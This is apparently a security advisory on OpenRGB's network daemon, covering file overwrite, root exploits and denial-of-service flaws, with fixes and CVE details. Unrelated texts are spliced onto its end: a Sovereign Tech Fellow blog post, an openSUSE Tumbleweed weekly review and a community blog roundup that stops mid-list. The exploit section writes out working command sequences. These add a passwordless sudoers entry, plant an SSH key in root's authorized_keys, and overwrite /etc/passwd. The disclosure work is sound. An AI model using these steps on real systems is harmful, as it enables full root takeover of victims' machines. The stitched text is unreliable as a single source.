Table of Contents

• 1) Introduction
• 2) Overview of OpenRGB
• 3) Overview of the Network Protocol
• 4) Reproducer Script
• 5) Security Issues
  • 5.1) Arbitrary File Overwrite via SAVE_PROFILE Message (CVE-2026-59682)
  • 5.2) Remote and Local Root Exploits via UPDATEMODE and SAVE_PROFILE Messages (CVE-2026-59683)
  • 5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)
• 6) Other Concerns
  • 6.1) Server Attempts to Act as a Client
  • 6.2) Lack of Network Byte Order Handling
  • 6.3) Plugin Support Further Expands Attack Surface
  • 6.4) Vast Range of LED Controllers Expands Attack Surface
• 7) Further Suggestions
  • 7.1) systemd Service Hardening
  • 7.2) Dropping Privileges
  • 7.3) Mutual Authentication
  • 7.4) Applying Safe Defaults
• 8) Affected OpenRGB Versions
• 9) Affected Systems
  • 9.1) Linux Distributions
  • 9.2) BSD Distributions
  • 9.3) Other Systems
• 10) CVE Assignments
• 11) Upstream Bugfixes
• 12) Timeline
• 13) References

1) Introduction

OpenRGB is a cross-platform software suite for controlling RGB LED lighting devices on Linux, MacOS and Windows. It caught our attention due to a new systemd service which appeared in the openSUSE Tumbleweed OpenRGB package, containing the following configuration:

[Service]
ExecStart=/usr/bin/openrgb --server --config /etc/openrgb
Restart=always
RuntimeDirectory=openrgb
WorkingDirectory=/run/openrgb

The daemon runs with full root privileges. A quick investigation showed that it also implements a TCP networking protocol listening on wildcard IP address “0.0.0.0” port 6742 by default. Due to these high-risk properties we scheduled a detailed security review of the service. During the review we found various security issues in the protocol which can even lead to a full remote system compromise (issue 5.2). Upstream release 1.0rc3-hotfix addresses the worst aspects of the flaws discussed in this report.

The next sections provide an overview of the technical details in OpenRGB and its network protocol. Section 4) points out a reproducer script we offer. Section 5) describes the security issues in detail. Section 6) discusses further security concerns we found in the codebase of OpenRGB. In section 7) we provide additional hardening recommendations for the project. Section 8) looks into the affected OpenRGB releases while section 9) gives an overview of affected Linux and BSD distributions. In section 10) CVE assignments for the issues in this report are discussed. Finally section 11) covers the bugfixes provided by upstream to address the issues in this report.

This report is based on upstream release tag release_candidate_1.0rc3.

2) Overview of OpenRGB

OpenRGB is implemented in C++ and consists of about 350,000 lines of code. It ships a single executable openrgb which implements three different personalities:

• a graphical UI application implemented in Qt which allows to control and inspect various aspects of OpenRGB.
• a client personality which is used to query state from or modify an already running server instance of openrgb.
• a server personality which implements a custom network protocol listening on wildcard IP “0.0.0.0” port 6742 by default. Only default-enabled firewalls prevent attack surface exposed by the service from becoming immediately accessible to remote attackers. Local users can always connect to the daemon via localhost. In server mode the daemon collects information about LED devices and stores their state in memory. The network protocol allows to retrieve information about the current devices and daemon state as well as to modify certain aspects of the daemon configuration.

3) Overview of the Network Protocol

Each OpenRGB network message starts with a NetPacketHeader of 16 bytes size. This header most prominently defines the operation to be carried out (pkt_id) and the length of the payload following the header (pkt_size). The available network messages are declared via NET_PACKET_ID enum constants. The server-side parsing logic is located in NetworkServer::ListenThreadFunction().

Different versions of the protocol have evolved over time. The protocol version in use can be reported by the client via the NET_PACKET_ID_REQUEST_PROTOCOL_VERSION message, but is inconsistently also sometimes embedded into the payload data of specific message types. When the version is not reported by a client then it is treated as 0 on the server-side; the current protocol version is 5. The structure of the message payload is highly context-dependent; exact sequences of integer/string values conforming to the message type and protocol version in effect must be used.

There exists no well-defined protocol data type specification; the common pattern seems to be that most of the time 4-byte signed/unsigned integers, 2-byte unsigned short integers and strings are utilized. In some message types where only a single string is found in the payload, the string length is identified by the payload length in the header. Otherwise strings start with a 2-byte string length unsigned short integer.

There is no authentication or authorization existing on protocol level, which means that anybody reaching the daemon can perform all operations it offers. Generally there exists little verification of input data: there are no checks against overly large messages and resulting memory allocations, scarce checks for valid and sufficient input data, allowing memory corruption, and there is no validation of logical operations that are carried out e.g. on the file system as a result of client requests. Even where length information is available in the protocol and parsed by the server, it is sometimes discarded and raw network data is instead passed e.g. to std::string objects, assuming proper null termination of client-provided strings.

4) Reproducer Script

We offer a tarball for download containing a Python script, two symlinks pointing to it and a test configuration file. The script can act as an OpenRGB network client as well as a network server, and implements parts of the protocol for the purposes of reproducing the security issues discussed further below. We will point out specific reproducer command lines based on this script over the course of this report.

5) Security Issues

5.1) Arbitrary File Overwrite via SAVE_PROFILE Message (CVE-2026-59682)

The SAVE_PROFILE message causes the OpenRGB server to store its current profile data in a local file path. There is no verification of the path passed by the client, allowing it to point to arbitrary locations on the file system. When the daemon runs with full root privileges, as suggested by the OpenRGB systemd service unit, then arbitrary new files can be created or existing files can be overwritten. The profile save logic truncates the specified file if it exists, and writes the profile data into it.

This serves as a simple Denial-of-Service attack vector which allows to completely break the system. There is no precondition to reaching this outcome, it works even if the daemon is unconfigured and no LED devices exist in the system.

One apparent obstacle to this attack is that a filename extension is always added to the path passed by the client. Local attackers can easily bypass this by placing a symbolic link into the file system which contains the expected filename extension, which will be followed by the OpenRGB file handling code. Even remote attackers can overcome this limitation due to the way the string is parsed for this message type:

std::string profile_name;
profile_name.assign(data, header.pkt_size);

In most other message types in OpenRGB, string assignment is null-terminator based; in this case the raw input data is assigned to a std::string instead. This means the string can even contain null-terminators (the std::string object explicitly supports such use cases). The Linux kernel’s file system calls are always null-terminator oriented, however. When an attacker passes a filename like /etc/fstab\0\0\0suffix, the server will still append the filename extension to the string, but once it is passed to system calls, the kernel will only create the file /etc/fstab, stopping at the first null-terminator.

By applying this technique, both local and remote attackers can overwrite arbitrary files on the affected system. The attached reproducer script can be invoked as follows to reproduce the issue:

# this will overwrite /etc/passwd when OpenRGB is running on localhost
user$ ./rgb_fake_client.py --save-profile /etc/passwd

Note that openrgb actually intends to write the file into its “configuration directory”, which is looked up in ResourceManager::SetupConfigurationDirectory(). When the server is started via the systemd service unit, however, none of the environment variables inspected by the function are present. As a result the fallback configuration directory of "./" is used, which will simply be / in the context of the systemd service. Even if a proper configuration directory would be set, clients can easily bypass it by prefixing ../ directory components to reach the root of the file system.

Suggested Fix

All file-related messages like LOAD_PROFILE, SAVE_PROFILE and DELETE_PROFILE should be restricted to a fixed directory that is only controlled by the daemon itself. Path components like / and .. in the passed filename should be rejected. Similarly, non-printable characters (like terminal control sequences) should not be accepted. Even with these precautions there should be some mechanism to avoid creation of an unlimited amount of saved profiles, which could lead to disk space exhaustion.

5.2) Remote and Local Root Exploits via UPDATEMODE and SAVE_PROFILE Messages (CVE-2026-59683)

The UPDATEMODE message allows to alter the configuration of any registered LED controller in OpenRGB. This message is rather complex, consisting of multiple dynamically-sized arrays and also containing a variable-length string used as a “mode description” label. This attacker-controlled string combined with the SAVE_PROFILE attack vector described in section 5.1) paves the way for full local and even remote root exploits. Other message types that contain attacker-controlled strings might be usable for this attack as well, we arbitrarily chose this message type to demonstrate the attack.

The only precondition to this attack is that OpenRGB must have detected at least one LED controller to operate on. An empty configuration in OpenRGB will not expose any code paths that allow to store an attacker-controlled string in the profile written out by SAVE_PROFILE. We also found no way to trigger the registration of fake or emulated LED devices via the networking protocol. If OpenRGB is already running on a system then the typical situation will be that an actual LED controller is registered, however, meaning that the attack is relevant for most practical scenarios.

For reproducing this attack it is useful to configure a debug LED controller in OpenRGB, avoiding the need to have any real LED hardware present on the test system. The reproducer tarball contains the configuration file emul.json which can be used as OpenRGB.json by the OpenRGB service. This configuration will expose a test LED device which is sufficient to trigger the exploit.

The attacker-controlled string stored in the OpenRGB profile as “mode description” will be written out to the file passed to the SAVE_PROFILE message. The attacker does not control the full content of the output file, which will be a binary file containing various other data serialized by the OpenRGB daemon. The string can be of arbitrary length, however, and can contain any characters except for null bytes. This allows the attacker to inject a range of valid text lines which will be interpreted by programs that otherwise ignore syntax errors found while parsing the file.

One privileged program which fulfills the criteria is sudo when parsing sudoers files; this can be instrumented to turn the vulnerability into a local root exploit. The following example demonstrates this based on the provided reproducer script:

# construct a line which will grant us root privileges via `sudo` without
# entering a password
user$ SUDOERS_LINE=$(echo -e "\n\n$USER ALL=(ALL) NOPASSWD: ALL\n\n")

# this will store the line in the testing device's mode description
user$ ./rgb_fake_client.py --update-mode-name "0:0:$SUDOERS_LINE"
> Connected to ('localhost', 6742)
> Sent update for mode name, len = 97

# verify the intended line is actually part of the controller profile by now
user$ ./rgb_fake_client.py --req-controller-data 0 | grep NOPASSWD
> 'name': '\n\nuser ALL=(ALL) NOPASSWD: ALL',

# now ask the daemon to store the profile data in a /etc/sudoers.d drop-in
# configuration file
user$ ./rgb_fake_client.py --save-profile /etc/sudoers.d/letmein
> Connected to ('localhost', 6742)
> Saved profile to /etc/sudoers.d/letmein

# by now we should be able to gain root
user$ sudo su -
> /etc/sudoers.d/letmein:1:16: syntax error
> OPENRGB_PROFILE
> <snip>
localhost:~ #

To turn this vulnerability into a remote root exploit, the only requirement is that sshd is running and accessible on the target host. What we will do is inject our own SSH public key into the victim’s /root/.ssh/authorized_keys:

# create a new SSH keypair using an empty passphrase
user$ ssh-keygen
> Generating public/private ed25519 key pair.
> Enter file in which to save the key (/home/user/.ssh/id_ed25519):
> Enter passphrase for "/home/user/.ssh/id_ed25519" (empty for no passphrase):
> Enter same passphrase again:
> Your identification has been saved in /home/user/.ssh/id_ed25519
> Your public key has been saved in /home/user/.ssh/id_ed25519.pub
> The key fingerprint is:
> SHA256:r3SONks2o9FkN10IKW4sz3yYBdptLVOVeuzZOsVwnIw user@attack-host

# embed the new SSH public key in a shell variable surrounded by newlines
user$ PUBKEY_LINE=$(cat .ssh/id_ed25519.pub)
user$ PUBKEY_LINE=$(echo -e "\n\n$PUBKEY_LINE\n\n")

# the remote host running OpenRGB to attack
user$ ORGB_HOST="victim-host"

# store the public key as "mode description" in the victim's OpenRGB daemon
user$ ./rgb_fake_client.py --host $ORGB_HOST --update-mode-name "0:0:$PUBKEY_LINE"
> Connected to ('192.168.178.28', 6742)
> Sent update for mode name, len = 156

# verify the public key is now contained in the profile
user$ ./rgb_fake_client.py --host $ORGB_HOST --req-controller-data 0 | grep ssh-
>         'ssh-ed25519 '

# now write out the "profile" into the desired location via `SAVE_PROFILE`
user$ ./rgb_fake_client.py --host $ORGB_HOST --save-profile /root/.ssh/authorized_keys
> Connected to ('192.168.178.28', 6742)
> Saved profile to /root/.ssh/authorized_keys

# by now we should be able to login as root via SSH
user$ ssh root@$ORGB_HOST
> Last login: Thu Jul 30 11:35:08 CEST 2026 from 192.168.178.56 on ssh
> Have a lot of fun...
localhost:~ #

Even without sshd running there exist other possibilities to gain full remote code execution, such as by overwriting scripts in privileged locations; the only downside to this approach is that the effect of the attack will usually not be immediate, but will only take place once a privileged program executes the crafted script.

Suggested Fix

The most important part to fixing this potential remote root exploit is fixing security issue 5.1). Once arbitrary files cannot be overwritten any longer, the attack will be thwarted. Furthermore, any string data supplied by clients needs to be restricted in length and content. There should be no newlines, control characters or other special characters in the string data.

5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)

There are various ways to achieve Denial-of-Service against the openrgb daemon and the system it is running on:

• The packet header allows to send a payload of up to 4 gigabytes in length. The daemon’s code will happily allocate on the heap any payload announced by the client; the client doesn’t even need to send the actual payload. The daemon also supports up to 32 parallel client connections which will be handled in dedicated threads. This means a malicious client can trigger up to 128 gigabyte of memory allocation in openrgb, leading to memory exhaustion which might also affect other programs on the system. This can be reproduced by calling rgb_fake_client.py --send-large-messages.
• The data sent by clients is only partially validated for integrity. For example, strings that are not null-terminated can lead to a crash in openrgb, when the data is passed to a std::string object. Similarly, overly large array size entries or truncated data structures can lead to memory access violations in the daemon. Most of this concerns invalid read accesses, but there also linger some invalid write access issues with the potential for stack/heap corruption, opening up further, more complicated attack vectors for privilege escalation.
• The LOAD_PROFILE message (analogous to issue 5.1) allows to point the daemon to arbitrary file system locations for parsing new profile data from. This can also lead to memory exhaustion or to blocking the thread forever (e.g. by pointing it to a named FIFO pipe or parsing of corrupted data which can again trigger the memory management issues described above).
• The DELETE_PROFILE message allows to delete arbitrary files in the system based on the same approach as pointed out in issue 5.1) for SAVE_PROFILE. This can be reproduced via rgb_fake_client.py --delete-profile /path.
• We observed the daemon crashing sometimes because it was sent SIGPIPE by the kernel when attempting to write to a client socket that is no longer connected. The error is not easy to reproduce, but the daemon should ignore SIGPIPE in any case to prevent such crashes.

Many of these issues also affect the client-side logic of openrgb. Since there is no authentication in the protocol, there is no telling whether the peer is a trustworthy OpenRGB instance, and unexpected replies can crash the client as well.

Suggested Fixes

These issues are hard to fix since they are spread all over the network processing logic. OpenRGB needs to enforce sensible size limits for messages and must carefully scrutinize all input on client and server side to avoid any memory corruption and invalid memory accesses.

6) Other Concerns

6.1) Server Attempts to Act as a Client

When the openrgb --server instance is started, for some reason it first attempts to automatically connect to another server, acting as a client. The tryAutoConnect setting for this is found in the ResourceManager class and is set to true by default. As a result the ResourceManager::InitCoRoutine() calls AttemptLocalConnection(). This causes the daemon to attempt a connection to localhost port 6742, the very same port the server is supposed to bind and listen to.

Unprivileged local users are allowed to bind to port 6742, which can cause the OpenRGB server to talk to possibly malicious instances of OpenRGB. The daemon performs a longer message exchange acting as a client, requesting information about known devices from the supposed server. Due to this, the various attack vectors present in the networking protocol as outlined in section 5.3) are exposed to local unprivileged clients as well.

If the daemon manages to successfully obtain information from the “other server” then startup won’t continue normally, because the server now attempts to keep the client connection alive while binding to wildcard IP “0.0.0.0” port 6742 at the same time. The latter will fail, naturally, if another process is already listening on this port on localhost. Otherwise this would have been an interesting attack vector to inject arbitrary LED controller information into the OpenRGB daemon even with no real LED controller hardware being available and without having control over the OpenRGB.json configuration file.

We are not sure what the intended purpose of this “auto connect” logic is in the context of openrgb --server. When using the default configuration values this does not seem to make sense, and only adds additional complexity and attack surface. If this auto connect feature would reach an actual remote server, then this would grant unverified third parties control over the configuration of OpenRGB running in server mode.

In the reproducer tarball we also provide a partial implementation of the OpenRGB server protocol. It can be started via rgb_fake_server.py --send-bad-controller-data. When the real openrgb --server is started while the fake server is running, various forms of corruption will occur in openrgb, ranging from excess memory allocation to memory corruptions which lead to core dumps.

6.2) Lack of Network Byte Order Handling

The serialized data sent by openrgb in network messages is always in host byte order. This seems a strange choice, since OpenRGB is a cross-platform project. It would be impossible to successfully exchange data between two hosts using a different byte order or simply differently sized int types, for example.

The usual approach to this is to send all data in “network byte order”, creating a defined data type representation on the wire.

6.3) Plugin Support Further Expands Attack Surface

OpenRGB supports plugins which can extend its functionality. Luckily plugins cannot be loaded via the network API, instead they seem to be configured via the Qt GUI component only. The UI asks the user to select a binary plugin to “install” into OpenRGB. We are not completely sure what the supposed workflow is for this, since regular users won’t be able to install a plugin this way for a system-wide privileged daemon, for example. If the plan is to run the GUI application as root then this would be even more worrying.

Loading arbitrary binary plugins selected by the user is an invite to e.g. run code downloaded from the Internet without verifying signatures, which would be very unusual and dangerous for a Linux system. A crafted plugin would lead to immediate code execution in the context of the user running the Qt UI.

Once plugins are installed in OpenRGB they can be reached via the network using the PLUGIN_SPECIFIC message. This calls into plugin-specific code and is thus beyond the scope of this review. Depending on what a plugin actually does this could easily open up additional attack vectors, however.

6.4) Vast Range of LED Controllers Expands Attack Surface

The Controllers sub-directory currently contains 189 different classes for device-specific support. The code in these files amounts to about 270,000 lines of code. These device-specific classes partially override virtual functions that are also reachable via the network protocol, creating an incalculable amount of code possibly exposed to the network.

It would be helpful to clearly separate code paths that are only called internally from those which might also be called from the network. Clearly marking possibly untrusted arguments or scrutinizing input data before passing it on to specialized code should be considered. Ideally some redesign would avoid network-related calls into non-core code in the first place.

7) Further Suggestions

7.1) systemd Service Hardening

Currently the systemd service unit runs the OpenRGB server with full root privileges without any hardening options in effect. systemd offers various features to apply sandboxing even to otherwise privileged processes. This would allow to prevent e.g. modification of files outside of expected locations by using the ReadWritePaths= directives and similar settings.

This should only be considered additional hardening for situations when things turn bad; it is not a first line of defense for a network-exposed service.

7.2) Dropping Privileges

For the scenario of the OpenRGB server running as root it could be considered to drop privileges for most of the time to avoid unnecessary exposure. We assume the main reason for having root privileges is the ability to modify LED hardware controls, thus the daemon could by default drop privileges to some openrgb service user and only raise privileges for the few situations when they are actually needed.

Another approach could be to separate the daemon into two programs, one privileged and offering only the hardware-specific API, and another unprivileged, bridging between network clients and the privileged daemon.

7.3) Mutual Authentication

Currently OpenRGB uses an unencrypted and unauthenticated protocol which seems to be intended to operate on real networks. For this scenario it is highly advisable to at least offer the option to introduce mutual authentication e.g. via SSL certificates. This would also allow to introduce encryption. While most of the data transferred by OpenRGB does not look sensitive at first sight, the situation might change in the future.

7.4) Applying Safe Defaults

The openrgb --server instance should not by default attempt to bind to the wildcard address 0.0.0.0 and thus potentially become available to remote parties. Doing this should be an explicit decision by the system administrator via a corresponding configuration entry.

8) Affected OpenRGB Versions

Most of the security issues outlined in this report have likely been present in various forms for a long time in OpenRGB. We verified that all of them can be reproduced in the current OpenRGB release candidates starting from 1.0 rc1, which was released in early 2025. All Linux distributions we looked into already package this or a newer version. On some distributions like Arch, Fedora and Ubuntu, the openrgb binary reports versions like “0.9+”, indicating that a development snapshot is used.

The current stable version of OpenRGB is version 0.9, which was released back in 2023. The long time since the last stable release is probably the reason why many Linux distributions package development snapshots by now.

There is one major difference between the version 0.9 stable release and the release candidate snapshots of OpenRGB: the trivial remote root exploit (issue 5.2) is not possible in version 0.9, because null terminators embedded in the profile path are not copied into the std::string object. The problematic call to std::string::assign() was only added in commit d7ed55b264d, which first appeared in release 1.0rc1.

The systemd service file which suggests to run openrgb --server as root was added to release candidate tag 1.0 rc2 of OpenRGB.

In summary, OpenRGB release candidate tags starting with 1.0rc1 are fully affected by the issues in this report. The stable release 0.9 (and likely older versions) are not affected by trivial remote exploits, because a file extension is always added to the SAVE_PROFILE path. These versions are still affected by local root exploits (based on symlink attacks) and remote Denial-of-Service.

9) Affected Systems

9.1) Linux Distributions

We looked into common Linux distributions and found the following situation:

• Arch Linux packages version 1.0rc3 of OpenRGB and is fully affected by the issues. Arch Linux has no firewall active by default, so it’s pretty easy to end up with a vulnerable system here.
• Fedora Linux provides a package based on version 1.0rc2 of OpenRGB and is thus fully affected by the issues.
• Gentoo Linux currently provides a stable ebuild for version 1.0rc2 of OpenRGB and is thus fully affected, also not protected by a firewall by default.
• openSUSE Tumbleweed ships a version of OpenRGB based on 1.0rc2. This package is fully affected by the issues in this report.
• Ubuntu 26.04 LTS (just recently released) packages version 0.9+, likely based on version 1.0rc1 of OpenRGB. Earlier Ubuntu 24.04 LTS does not ship it. The package does not contain a openrgb system service, but only a systemd user service. If a regular user starts up this service in an unprivileged context then the issues from this report are still exploitable, but naturally limited to the privileges of the victim user. The user’s authorized_keys can be overwritten the same way as for root, making it possible to access the user’s account remotely.

9.2) BSD Distributions

Only FreeBSD provides a package of OpenRGB; it is based on version 0.8 of OpenRGB. The server only binds to localhost in this version, thus there is no remote attack surface by default. Also embedded null terminators in profile names are not copied into the target path, which means only local symlink attacks allow full privilege escalation.

9.3) Other Systems

It is likely that the MacOS and Windows ports of OpenRGB are similarly affected, but we did not look into them.

10) CVE Assignments

Upstream provided no additional input regarding CVE assignments. Therefore we assigned CVEs as follows:

• CVE-2026-59682 (Issue 5.1): Arbitrary File Overwrite (and in extension, deletion via DELETE_PROFILE). In isolation this is a major local and remote Denial-of-Service attack vector. In OpenRGB <= 0.9 only local attackers can overwrite arbitrary files via symlink attacks. In versions > 0.9 also remote attackers can overwrite arbitrary files.
• CVE-2026-59683 (Issue 5.2): Local and remote root exploits by combining issue 5.1) and attacker-controller strings in LED profile data. This is only possible in OpenRGB > 0.9.
• CVE-2026-18794 (Issue 5.3): Cumulative local and remote Denial-of-Service attack surface mostly affecting OpenRGB itself and system memory consumption; possibly offers more complex privilege escalation attack vectors by way of skillful memory corruption. This affects OpenRGB >= 0.9, likely also a range of older versions.

11) Upstream Bugfixes

Initially upstream did not intend to publish bugfixes as a response to this report, although we offered coordinated disclosure. In the course of the communication with upstream and after we reached out to the distros mailing list for pre-disclosure, upstream decided to publish a minimal bugfix release after all. Commit d2dd9dcc7 addresses the worst aspects of the flaws discussed in this report:

• the daemon will only listen on localhost by default, not on potentially remote networks.
• pathnames passed to API endpoints like SAVE_PROFILE are no longer allowed to contain slashes and other special characters, preventing an escape from the set configuration directory.
• hardening directives have been added to the openrgb systemd service.
• a maximum message size is enforced.

This will avoid trivial remote or local root exploits, but it is still missing out on a lot of the other aspects discussed in this report. We don’t recommend running OpenRGB in real networks even with this patch applied.

12) Timeline

13) References

• OpenRGB website
• OpenRGB GitLab project
• openSUSE review bug for OpenRGB
• reproducer tarball for download
• OpenRGB 1.0rc3-hotfix bugfix release

In 2025 I was honored to be selected for the first cohort of Sovereign Tech Fellows, a program by Germany’s Sovereign Tech Agency to improve the resilience of the open source ecosystem by supporting maintainers directly (complementing their existing support for larger FOSS organizations). Back in 2025, I was only working very limited hours – however, this has changed in 2026.

For the second half of 2026, I am working again as a Sovereign Tech Fellow, but this time with significantly increased hours. After finishing my PhD, I do have time now for new tasks (and new jobs!), and the fellowship presents an amazing opportunity to really advance projects that I maintain or am part of. This also has a very nice effect on contributors and bug reporters, as their feedback gets addressed a lot faster. With some luck, this ultimately will help finding new (co)maintainers for projects as well (although in the age of AI, a lot of how open source used to work is much more uncertain, but that is a matter for a different blog post).

The fellowship is time-limited, so I am intending to make the time I currently have count!

So, what’s planned?

I am involved in many projects, but three of them will be getting attention as part of the fellowship. I know I am notoriously slow at blogging, but expect more details on each of them very soon. Here’s an overview:

Freedesktop.org, Specifications and Organization

I maintain the Freedesktop Specifications, which is an area of Freedesktop that has traditionally been a bit chaotic. This “worked” in the past, because Freedesktop was never intended to be a former standards body, but more a shared space where people could throw a lot of code and ideas over the wall and see what sticks and what people can collaborate on.

While I very much love the spirit of this and want to keep it in some form, we definitely would benefit not just from more formalization and better procedures, but also from better organization of the specifications in general. A lot of conflicts can be avoided by that. I will work on improving procedures, crunching through the (lots!) of pending bug reports and MRs, and to make the specifications site better searchable and accessible (similar to how Mozilla’s MDN presents information, but I am not sure if we will get quite that far). I also intent to add a compatibility matrix for specifications, so if a desktop opts out of any one of them (or does not implement them yet) that fact is documented and authors of applications know what they can expect. This will allow us to move a lot faster and avoid a lot of conflict, because there is no implicit assumption that “everybody will implement everything” anymore (which has never been quite true anyway).

Hopefully, this will ultimately result in a Freedesktop that is both a lot more useful for application authors who want to bring their project to Linux, as well as developers of desktop environments who need to see which specifications are available and which ones are current.

In addition to that, I have also worked on a Freedesktop.org website refresh, which is pretty much done in its first iteration (pending sysadmin action). The aim there is to have a more official website, separate from user-contributed wiki content, that showcases what Freedesktop is and which projects are using it for hosting. Once the new website is live, I will also review every page again, archive dead projects in their own section and reorganize the software and specifications directory. Those sections are severely outdated and are missing recent efforts from the community, while still containing long-dead old projects (remember HAL? ).

AppStream

A lot of extra maintenance work will be (has been!) done on it. This includes things such as JPEG-XL support (blog post soon), sandboxed media processing, support for newer specification additions, better OARS integration (and potentially migrating it to fd.o infrastructure), improvements and API stabilization for libappstream-compose and a lot of bugfixing and resolution of issues found by AI code review.

AppStream was originally designed to parse only trusted data from vetted Linux distribution sources – this is no longer the case in today’s world and in the way Flatpak uses it, so we need to increase resilience of the project.

I am also exploring a project that could vastly improve search accuracy for AppStream. Stay tuned for that.

PackageKit & System Upgrades

Many years ago, people thought we would all migrate to atomic Linux distributions and slowly not need PackageKit anymore. This has not turned out to be the case, and there are still plenty of reasons to use a package-based OS, especially in development environments. At the same time, PackageKit has been basically the same for years, and its older architecture is beginning to show. It being a daemon who’s literal job it is to modify the entire system also makes it one of the most security-sensitive components that a Linux system can have, while simultaneously making it near-impossible to sandbox.

My plan is to create PackageKit 2.0 by building on the great foundation of PackageKit 1.0, but modernizing it. This will include simplifying its code and removing a bunch of features that have no more use in modern desktops, while also adding some features that PackageKit never had but that would be useful to expose to frontends (still no to interactivity an terminal-progress forwarding though!). PK 2.0 will also allow me to solve a few design issues that have been worked around in the past, by replacing them with better solutions. This will be a painful transition, as PackageKit 2.0 will break all interfaces PackageKit has – and those interfaces have been frozen for more than a decade. However, I do fully expect this change to be worth the effort.

In addition to that, I intend to look into the offline-update procedure again and improve it. The current multi-reboot operation comes with downsides, that newer systemd features such as soft-reboot can alleviate. The end result should be a much smoother, less annoying offline-update experience for users (I especially want to get rid of updates running on system startup, which I consider quite bad from a usability perspective). The new behavior is in the early drafting stages and may need direct support from systemd. I will share more about it once I can.

That’s a lot of tasks!

Yes! I will see how far I get. I am moving project-by-project though, to allow me to focus on one project at a time, rather than scattering my attention continuously. Amazingly, this means that the major tasks for AppStream are already almost done, and we are nearing the 1.2.0 release. AppStream got priority, because the new Freedesktop Flatpak runtime will be released soon, and because I want FlatHub/Flatpak to have access to the new AppStream release sooner. Freedesktop and PackageKit are next on the task list.

Either way, a lot of progress is coming – if you have any feedback or want to help out, please don’t hesitate to reach out! All work is happening fully in the open, so you can also chime in on the respective GitHub/GitLab tasks .

You can also expect blog posts about key features or interesting changes, so stay tuned!

Dear Tumbleweed users and hackers,

This week saw the release of 6 snapshots (0813, 0814, 0815, 0817, 0818, and 0819).

The prominent desktop update of the week is the delivery of KDE Frameworks 6.29.0 in snapshot 0817. On the core system side, snapshot 0815 brought a major version bump to the system alternatives configuration engine with libalternatives 2.0, and the default Go system compiler was upgraded from version 1.26 to 1.27.

A key theme of the week was security updates and CVE fixes across several central components. Flatpak arrived with critical sandbox escape fixes, Vim delivered a substantial bundle of vulnerability patches, and Python 3.13 was updated to address several upstream security issues.

These 6 snapshots delivered the following updates:

• flatpak 1.18.1
• Go 1.27
• harfbuzz 14.3.1
• KDE Frameworks 6.29.0
• libalternatives 2.0+0.4f22c01
• libgit2 1.9.7
• libjxl-gtk 0.12.0
• postfix 3.11.6
• sddm 0.21.0+git57
• vim 9.2.0901
• yast2-storage-ng 5.0.50
• yelp 49.2

With these security hardening and desktop stack upgrades in place, we turn our attention to the upcoming changes actively brewing in the staging areas:

• Qt 6.11.2: Incoming and preparing for integration.
• KDE Gear 26.08.0: Has been submitted and is entering the staging queues.
• Linux Kernel 7.2: Already undergoing testing.
• glibc 2.44: Still progressing in Staging:N. The integration issues with rpmlint, python-scipy, and xsimd have been resolved, and the transition is now focused on resolving the remaining build failure in m4.
• icewm 4.0: Undergoing integration testing, but currently experiencing redraw issues in combination with the YaST installer.
• libnettle 4.0.0: Currently excluded from main staging runs while developers work on resolving test suite breakages in libzypp.
• Swig 4.5.0

This is a roundup of articles from the openSUSE community listed on planet.opensuse.org. This community blog feed aggregator lists the featured highlights below from August 14 to 20.

This week highlights KDE Gear 26.08, KDE Frameworks 6.29, openSUSE Asia Summit 2026 publishing its pre-schedule, a Google Summer of Code 2026 final report on modernizing openSUSE’s OBS status service and much more.

Here is a summary and links for each post:

Released KDE Gear 26.08, “Enjoy Shiny Stuff” Edition

The KDE Blog announces KDE Gear 26.08, the second major update of the KDE application suite this year, focusing on improving the small everyday tasks users perform. The release spans Okular, Dolphin, Konsole, Kdenlive, Minuet and more than a dozen other applications, with full changelogs available for those eager to explore every detail.

Reverse clock for your desk

The KDE Blog presents Girosur Clock, an analog clock plasmoid that rotates in the opposite direction to what Northern Hemisphere users are accustomed to. Created by teovisaires, this widget turns the clock face and its hands in reverse as a playful addition to the desktop, marking entry number 38 in the blog’s ongoing Plasma 6 plasmoid series.

Recycling an interview. Is it worth being a blogger?

Victorhck recycles a set of interview questions originally posed on Tecnoysoft and answers them from his own perspective as a long-time GNU/Linux blogger. He reflects on why maintaining a personal blog still matters in an era of short-form video and what keeps him publishing despite modest readership numbers.

Circular Alt-Tab Window Switch for Plasma 6

The KDE Blog introduces Circular Alt-Tab, a window switcher for Plasma 6 that arranges open windows in circular sectors around the cursor. Created by Lubdhak7414, it features live window thumbnails, multi-ring layouts for more than eight windows, middle-click close, and a “Desktop Peek” option that minimizes all applications for a quick look at the desktop.

Twenty-nine-year update of KDE Frameworks 6 and KConfig

The KDE Blog covers the 29th update to KDE Frameworks 6, the foundational library layer that supports the entire KDE ecosystem. This installment also dives into KConfig.

openSUSE Asia Summit 2026 Pre-Schedule Is Now Available

openSUSE News announces the preliminary schedule for the openSUSE.Asia Summit 2026, set for October 3–4 in Yogyakarta, Indonesia. The organizing committee received 114 proposals from 85 speakers, and attendees can now browse sessions and plan which talks and workshops to attend ahead of the conference.

Towards a true LTS support of the entire KDE ecosystem (again)

The KDE Blog reports on a new initiative to bring true long-term support to the entire KDE ecosystem, not just the Plasma desktop. A partnership between Kubuntu Focus and Techpaladin Software under the Bullet-Proof KDE Initiative will fund bug fixes and CI infrastructure for Plasma 6.6, KDE Frameworks 6.24, and KDE Gear 25.12, the versions shipped in Kubuntu 26.04.

Integration of NFC in Plasma Mobile

The KDE Blog details KDE developer Volker Krause’s investigation into the state of NFC technology in the Linux ecosystem and his plans to integrate it into Plasma Mobile. He examines shortcomings in current drivers, middleware and Qt NFC APIs, and presents an initial Plasma applet and session daemon for NFC management.

Linux Saloon 216 | Open Mic Night

CubicleNate hosts another community episode of Linux Saloon with an open mic format, featuring live discussions about Fedora user experiences, job openings at Epic Games focused on Linux security, and IBM’s new chip architecture advancements. The post also covers Dell surpassing HP in U.S. PC sales amid a shrinking market.

openSUSE Kudos Recognitions for July 2026

openSUSE News publishes a new monthly Kudos recognition report for July 2026. It spotlights four users who received kudos and three contributors who earned badges.

GSoC 2026 Final Report: Enhancing openSUSE Git Workflow

Mario’s Blog shares the final Google Summer of Code 2026 report about modernizing openSUSE’s obs-status-service under mentor Daniel García Moreno. The project replaced legacy SVG string concatenation with Go templates, added Gitea-native theming, introduced real-time polling for live badge updates, and contributed reputation label prototypes upstream to Gitea.

Two-way synchronization of clipboard in RDP – This week in Plasma

